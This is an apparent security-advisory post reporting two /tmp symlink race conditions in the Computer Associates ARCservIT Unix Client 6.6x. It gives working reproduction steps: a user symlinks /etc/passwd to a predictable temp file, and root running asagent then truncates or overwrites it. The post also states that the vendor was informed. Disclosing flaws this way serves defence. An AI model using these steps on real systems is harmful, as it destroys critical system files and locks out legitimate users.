tmp-races in ARCservIT Unix Client

[Jonas Eriksson <je () sekure net>]

Hi,

Computer Associates ARCservIT Client version 6.6x has atleast two /tmp
races, as following:

Vulnerability #1
-----------------

This tmp-race only works if the asagent client never been executed
before.

As user:

je@boxname~> ln -s /etc/passwd /tmp/asagent.tmp

And root:

root@boxname# /usr/CYEagent/asagent start
CA Universal Agent ADV v1.39 started on openview SunOS 5.8
Generic_108528-07 sun4u

ARCserveIT Universal Agent started...

Then,

je@boxname~> ls -la /etc/passwd
-r--r--r--   1 0        sys            0 May  9 11:59 /etc/passwd


Vulnerability #2
-----------------

As user:

je@boxname~> ln -s /etc/passwd /tmp/inetd.tmp

And root:

root@boxname# /usr/CYEagent/asagent inet add

Then,

je@boxname~> cat /etc/passwd
asagentd 6051/tcp # ARCserve agent
asagentd 6051/udp # ARCserve agent


Computer Associates has been informed.


Regards
Jonas Eriksson